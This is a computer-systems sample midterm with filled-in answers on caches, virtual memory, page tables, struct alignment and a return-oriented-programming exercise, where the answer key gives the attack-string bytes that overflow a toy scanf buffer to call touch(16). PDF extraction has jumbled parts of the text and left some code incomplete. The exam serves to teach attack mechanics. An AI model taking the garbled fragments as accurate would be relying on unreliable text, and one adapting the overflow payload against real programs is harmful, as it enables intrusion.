CS356: Introduction to Computer Systems Midterm II SAMPLE (Tue Apr 2, 2019, 7-8:20pm)
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CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 2 of 9 1. General Knowledge (20 points, assume x86-64 System V ABI)
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(a) 20 points
Multiple-choice or fill-in-the-blank questions on:
• Registers used to pass arguments to assembly procedures.
• Calling and returning from assembly procedures.
• Protections from buffer overflow attacks (canary values, stack ran- domization, executable-space protection).
• Cacheorganization(direct-mapped,set-associative,fully-associative).
• Memory hierarchy and hierarchies of caches.
• Virtual memory: permission control, process isolation, cache of pages from disk, page tables (single-level, multi-level, address breakdown).
• TLB organization and differences with respect to caches.
• Interaction of virtual memory, TLB, caches (e.g., what happens to the cache after a page eviction?).
• Page fault handling.
CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 3 of 9
2. Addressing, Caches and Virtual Memory (15 points) Consider a processor with:
• 24-bit physical address space;
• 30-bit virtual address space;
• page size of 4 kB;
• single-level page table using 8 bytes per entry; • a 2-way set-associative TLB with 64 entries;
• a 4-way set-associative cache of 64 kB with blocks of 64 bytes each.
(In your answers, you can use powers of 2 or unit prefixes, like “230 bytes” or “1G bytes.”)
(a) 1 point
(b) 2 points
(c) 1 point
(d) 2 points
(e) 1 point
(f) 2 points
(g) 1 point
(h) 2 points
(i) 1 point
(j) 2 points
The maximum amount of physical RAM in the system is 16M bytes. The physical address is split into 12 bits for the physical frame
number and 12 bits for the page offset. The physical address space contains 4k
The virtual address is split into 18 ber and 12 bits for the page offset.
The virtual address space contains 256k
The size of the page table of each process is 2M bytes.
The TLB has 32 sets.
The TLB will use 13 bits for the tag.
The cache will use the lowest 6 bits of the address as block offset. The cache will use the highest 10 bits of the address as tag.
physical frames.
bits for the virtual page num-
CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 4 of 9
3. Caches: Data Access (14 points)
Consider a processor with 16-bit physical address space using a 4-way cache with 32- byte lines and 8 sets. Assume the following values for the cache metadata:
(a) 2 points
(b) 2 points
(c) 2 points
(d) 2 points
(e) 2 points
(f) 2 points
(g) 2 points
miss and eviction
miss and eviction
■ miss and eviction
An access to 0xFF1E will result in a
■ hit miss and no eviction
An access to 0xFF3E will result in a
hit ■ miss and no eviction
An access to 0xFF4E will result in a
hit The cache has a total of
miss and no eviction 32 lines.
The size of the cache is
The entire memory range from 0xAA00 to 0xAA5F is currently held in the
cache. True ■ False
Address 0xAA3F points to the last byte in largest memory range that (1) starts at 0xAA00 and (2) is fully contained in the cache.
CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 5 of 9
4. Virtual Memory: Address Translation with Single-Level Page Table (10 points)
Consider a processor with 24-bit physical addresses and 20-bit virtual addresses, using pages of 64 kB bytes and a single-level page table. Assume the following contents for the page table of a process:
Index V ENTRY
===== =========
0 1 0xAB
1 1 0xB1
2 0 0x0A
3 1 0xD2
4 0 0x4E
5 0 0x1F
6 1 0x2D
7 0 0x1F
8 1 0x1A
9 1 0xB2
(In the following, write “Invalid” if the page of a virtual address is not in memory.)
(a) 2 points
(b) 2 points
(c) 2 points
(d) 2 points
(e) 2 points
Virtual address 0xFEDAA corresponds to physical address Virtual address 0x3BEAA corresponds to physical address Virtual address 0x2BEAA corresponds to physical address Physical address 0x2DABAA corresponds to virtual address
0x1FEDAA . 0xD2BEAA . Invalid .
It is possible that the TLB holds a mapping for virtual address 0xFABAA. ■ True False
CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 6 of 9
5. Virtual Memory: 3-Level Page Tables (16 points) Consider a processor with:
• 32-bit virtual addresses;
• 36-bit physical addresses;
• page size of 4 kB;
• 256 entries in the page directory;
• 64 entries in the second-level page table; • 4-byte entries for all page tables.
(In your answers, you can use powers of 2 or unit prefixes, like “230 bytes” or “1G bytes.”)
(a) 4 points
(b) 1 point
(c) 2 points
(d) 2 points
(e) 1 point
(f) 3 points
(g) 3 points
The virtual address is split as: 8 bits for the page directory index, 6 bits for the index of second-level page tables, 6 bits for the index of third-level page tables, and 12 bits for the page offset.
There are at most There are at most There are at most
1 page directories for each process.
256 second-level page tables for each process. 16k third-level page tables for each process.
In total, the size of the page tables of a process is at least 1k bytes. In total, the size of the page tables of a process is at most
1k + 64k + 4M bytes.
In contrast, a single page table for a processor with 32-bit virtual ad- dresses, 36-bit physical addresses, page size of 4 kB, and 4-byte entries, would require 4M bytes.
CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 7 of 9 6. Struct Alignment in C (10 points)
Assume 4-byte int / float, 8-byte long / double. Consider the following C program:
struct record_t {
char a[2];
short e; };
void initialize(struct record_t *x) {
x->a[1] = 1;
x->d[1] = 4;
x->e = 5; }
(a) 10 points Complete the assembly code of initialize with the correct offsets.
initialize:
movb $1, 1
movl $2, 4
movq $3, 8
movl $4, 20 (%rdi) movw $5, 28 (%rdi) ret
CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 8 of 9
7. Return-Oriented Programming Attacks (15 points)
Consider the following program invoking the vulnerable function scanf:
#include
#include
void touch(int val) { main:
printf(“%d\n”, val); exit(0); subq } movl void getbuf() { call
char buf[20]; movl
scanf(“%s”, buf); addq } ret int main() { getbuf(); } getbuf:
.LC0: .string “%d\n”
.LC1: .string “%s”
The disassembled binary contains:
subq $40, %rsp
movq %rsp, %rsi
leaq .LC1(%rip), %rdi
movl $0, %eax
000000000040117e
%edi, %esi
.LC0(%rip), %rdi
(a) 15 points
movl $0, %edi
Provide as hex (e.g., “f1”) the bytes of the attack string invoking touch(16).
11 22 33 44 55 66 77 88
11 22 33 44 55 66 77 88
11 22 33 44 55 66 77 88
11 22 33 44 55 66 77 88
11 22 33 44 55 66 77 88
9f 11 40 00 00 00 00 00
10 00 00 00 00 00 00 00
a1 11 40 00 00 00 00 00
7e 11 40 00 00 00 00 00
CSCI 356 Midterm II SAMPLE (April 2, 2019) Page 9 of 9 (Page intentionally blank for scratch work. Please turn it in with your exam.)
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